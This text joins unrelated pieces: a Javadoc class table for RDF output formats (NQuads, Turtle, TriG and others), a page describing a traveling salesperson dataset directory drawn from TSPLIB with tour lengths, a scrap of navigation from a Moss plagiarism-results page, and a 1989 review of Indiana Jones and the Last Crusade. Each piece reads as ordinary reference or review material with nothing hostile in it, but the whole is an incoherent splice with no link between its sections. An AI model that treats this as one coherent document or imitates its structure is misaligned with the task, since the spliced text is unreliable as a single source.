| Modifier and Type | Class and Description |
|---|---|
class |
NQuadsOutputFormat<TKey>
NQuads output format
|
| Modifier and Type | Class and Description |
|---|---|
class |
NTriplesOutputFormat<TKey>
NTriples output format
|
| Modifier and Type | Class and Description |
|---|---|
class |
RdfJsonOutputFormat<TKey>
RDF/JSON output format
|
| Modifier and Type | Class and Description |
|---|---|
class |
RdfXmlOutputFormat<TKey>
RDF/XML output format
|
| Modifier and Type | Class and Description |
|---|---|
class |
ThriftQuadOutputFormat<TKey> |
class |
ThriftTripleOutputFormat<TKey> |
| Modifier and Type | Class and Description |
|---|---|
class |
BatchedTriGOutputFormat<TKey>
Output format for TriG that uses a batched approach, note that this will
produce invalid data where blank nodes span batches so it is typically better
to use the
TriGOutputFormat instead |
class |
TriGOutputFormat<TKey>
Output format for TriG
|
| Modifier and Type | Class and Description |
|---|---|
class |
TriXOutputFormat<TKey>
Output format for TriX
|
| Modifier and Type | Class and Description |
|---|---|
class |
BatchedTurtleOutputFormat<TKey>
Output format for Turtle that uses a batched approach, note that this will
produce invalid data where blank nodes span batches so it is typically better
to use the
TurtleOutputFormat instead |
class |
TurtleOutputFormat<TKey>
Turtle output format
|
Licenced under the Apache License, Version 2.0


TSP, a dataset directory which contains some examples of data for the traveleing salesperson problem.
Most of these examples come from TSPLIB, a collection of traveling salesman problem datasets maintained by Gerhard Reinelt at "http://comopt.ifi.uni-heidelberg.de/software/TSPLIB95/"
In the traveling salesperson problem, a salesperson, who lives in one of the cities, is expected to make a round trip visiting all the other cities and returning home. (It doesn't actually matter which city is the starting point.) The requirement is that the total distance traveled be as small as possible.
It turns out that this simple problem is actually remarkably hard to solve, particularly if one insists on finding the absolutely best answer. Approaches to solving this problem have used simple enumeration, Monte Carlo estimation, minimal spanning trees, linear programming, simulated annealing, Tabu searches, the branch and bound procedure, the integer assignment problem, the convex hull, genetic algorithms, ant colony algorithms, and the cross-entropy method,
Thus, this simple problem has been the inspiration for many new ways of trying to solve not just the traveling salesperson problem but related "combinatorial optimization" problems, in which a discrete set of choices result in a payoff which is to be maximized or a cost which is to be minimized.
In the simplest version of the traveling salesperson problem, it is possible to travel from any city A to any city B, and the distance is the same both ways. This might be imagined to correspond to travel by air.
In a variation of the problem, it might not be possible to travel directly between certain cities. This is essentially equivalent to setting the corresponding intercity distance to be infinite. This could be considered an attempt to include the realities of highway travel.
To specify the problem, we may provide the spatial coordinates of the N points. Here again, there can be complications. It would be natural to expect coordinates on a plane, with the Euclidean distance, but the data might be more accurately described as lying on a sphere, with travel constrained to the surface; or we might have locations in a gridded city, in which case distance is measured with the L1 norm rather than the Euclidean norm, and there are further obvious variations.
If we are given a set of coordinates and a description of the distance function, we can compute the distance matrix. So we might suppose that any distance matrix comes from a set of point coordinates. But that's not true. If we start with the distance matrix, we are free to put down numbers that violate the triangle inequality, for instance. Problems in which the data does not come from an underlying set of point coordinates and a norm turn out to be much harder, since certain geometric facts can no longer be used to estimate the solution.
For the data considered here, we will expect symmetry, that is, that the distance is the same coming and going. We will allow problems to be specified either by node coordinates and a norm, (usually 2D planar points and the Euclidean norm) or by an abstract distance matrix.
The computer code and data files described and made available on this web page are distributed under the GNU LGPL license.
CITIES, a dataset directory which contains sets of information about cities and the distances between them;
CITIES, a FORTRAN90 library which handles various problems associated with a set of "cities" on a map.
CITIES, a MATLAB library which handles various problems associated with a set of "cities" on a map.
DISTANCE_TO_POSITION, a FORTRAN90 program which estimates the positions of cities based on a city-to-city distance table.
DISTANCE_TO_POSITION, a MATLAB program which estimates the positions of cities based on a city-to-city distance table.
DISTANCE_TO_POSITION_SPHERE, a MATLAB program which estimates the positions of cities on a sphere (such as the earth) based on a city-to-city distance table.
LAU_NP, a FORTRAN90 library which implements heuristic algorithms for various NP-hard combinatorial problems.
ATT48 is a set of 48 cities (US state capitals) from TSPLIB. The minimal tour has length 33523.
DANTZIG42 is a set of 42 cities, from TSPLIB. The minimal tour has length 699.
FIVE is a set of 5 cities. The minimal tour has length 19.
FRI26 is a set of 26 cities, from TSPLIB. The minimal tour has length 937.
GR17 is a set of 17 cities, from TSPLIB. The minimal tour has length 2085.
P01 is a set of 15 cities. It is NOT from TSPLIB. The minimal cost is 291.


Moss Results
How to Read the Results
|
Tips
|
FAQ
|
Contact
|
Submission Scripts
|
Credits
Choose a URL to analyze:
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INDIANA JONES AND THE LAST CRUSADE A film review by Randy Parker Copyright 1996 Randy Parker
RATING: *** (out of ****)
(Review written in 1989)
With INDIANA JONES AND THE LAST CRUSADE, Steven Spielberg and George Lucas have finally fulfilled an informal agreement they made in 1979 to make a trilogy of movies about an adventurous archaeologist modelled in part after James Bond. In this alleged final installment of the series, Professor "Indiana" Jones embarks on a quest for the Holy Grail, an endeavor that takes him from the United States to Venice, Austria, Berlin, and the Middle East. During his adventures, Indy must contend with Nazis, religious fanatics, rats, a femme fatale, and perhaps most challenging of all, his father.
THE LAST CRUSADE begins with an extended flash-back to 1912. River Phoenix, doing his best Harrison Ford impersonation, plays Indiana Jones as a teen in a humorous sequence that establishes the hallmarks of the character: his fear of snakes, his hat, his whip, his scar, and his love of adventure. Then the film shifts to 1938 with Harrison Ford once again reprising his most famous role. Actually, THE LAST CRUSADE contains quite a few familiar faces as LOST ARK alumni Denholm Elliott (as Marcus Brody, the curator who once got lost in his own museum) and John Rhys-Davies (as Indy's faithful ally, Sallah) both have returned for Indiana's last adventure. The cast also includes Alison Doody as the requisite love-interest, an Austrian art historian who has nothing in mind but her own self-interests.
In many ways, THE LAST CRUSADE is the antithesis of INDIANA JONES AND THE TEMPLE OF DOOM. In fact, Steven Spielberg claims that he made THE LAST CRUSADE to apologize for the gloomy, gruesome violence in TEMPLE OF DOOM. Where DOOM showed excess, CRUSADE shows surprising restraint; Spielberg has toned down the violence considerably. Where DOOM was dark and mean-spirited, CRUSADE is light-hearted and good-natured. Spielberg and company play this one for tongue-in-cheek laughs. Whereas the relentless, non-stop action in TEMPLE OF DOOM completely overshadowed and overwhelmed the characters, the action in LAST CRUSADE takes a back seat to character development.
The first third of THE LAST CRUSADE is untypically slow, but the pace immediately picks up the moment Sean Connery hits the screen. Connery is brilliantly cast as Indy's father, Dr. Henry Jones, a professor of Medieval Literature who has devoted his entire life to locating the Holy Grail at the expense of estranging himself from his son. Playing against type in a tour de force performance, Connery is hilarious. A far cry from his days as 007, he's bookish and blundering--making him totally ill-suited to his son's dangerous lifestyle. Connery's welcome presence on screen keeps THE LAST CRUSADE from being just a retread of the first two films. Connery always seems to inject life into his movies, whether they are good (THE UNTOUCHABLES) or mediocre (THE PRESIDIO), and THE LAST CRUSADE is no exception.
The heart of the movie, making it special, IS the father-son relationship between Connery and Ford, who play off each other well and build an amusing rapport. The movie is at its best when Indy and his father bicker and nag at each other, especially during their attempts to foil the Nazis. The friction between the Jones boys runs especially high whenever Henry Jones infuriates his son by calling him "Junior." When he's around his father, Indy often feels intimidated and defensive, and Harrison Ford effectively portrays these emotions. THE LAST CRUSADE is the first film in the series to grant Ford an opportunity to give Indiana some depth and humanity. Eventually, of course, the two men overcome their estrangement to forge a relationship of warmth, tenderness, and mutual respect.
When it comes to action, THE LAST CRUSADE falls short in comparison to its predecessors. Although the movie is well-paced, not one of its action sequences is memorable or terribly original, and the film never really got my adrenaline pumping. THE LAST CRUSADE is fun and exciting, but it's not dazzling or awe-inspiring. In my mind, nearly every action sequence in RAIDERS is a classic, and although TEMPLE OF DOOM goes overboard, the film is undeniably tense and hair-raising. By contrast, CRUSADE is too tame and fails to distinguish itself from imitators of the series, such as ROMANCING THE STONE.
The plot is also disappointing. Except for substituting the Grail for the Ark, the movie is just a regurgitation of the RAIDERS story line, with Indy once again racing against the Nazis to unearth a powerful religious artifact. And unfortunately, THE LAST CRUSADE is the only film of the trilogy without any lasting impact. Whereas RAIDERS left us stunned and awe-struck and DOOM left us disturbed and exhausted, CRUSADE is memorable mostly for Sean Connery's performance. The movie also suffers from being the third in the series; it faces higher audience expectations and must labor harder to achieve originality and to avoid repetition.
But perhaps it's unfair to draw so many comparisons between THE LAST CRUSADE and its predecessors. While it may not be a classic, THE LAST CRUSADE is certainly an appealing crowd-pleaser that never fails to provide old fashioned, larger than life entertainment. And while I was somewhat disappointed, I have to admit that I haven't had so much fun being disappointed since INDIANA JONES AND THE TEMPLE OF DOOM. I'll definitely miss Professor Jones and his wild escapades, but I have to admire his good judgement in knowing when to hang up his hat ... and his whip, for that matter.
----------- Randy Parker<EMAIL_ADDRESS>http://www.shoestring.org
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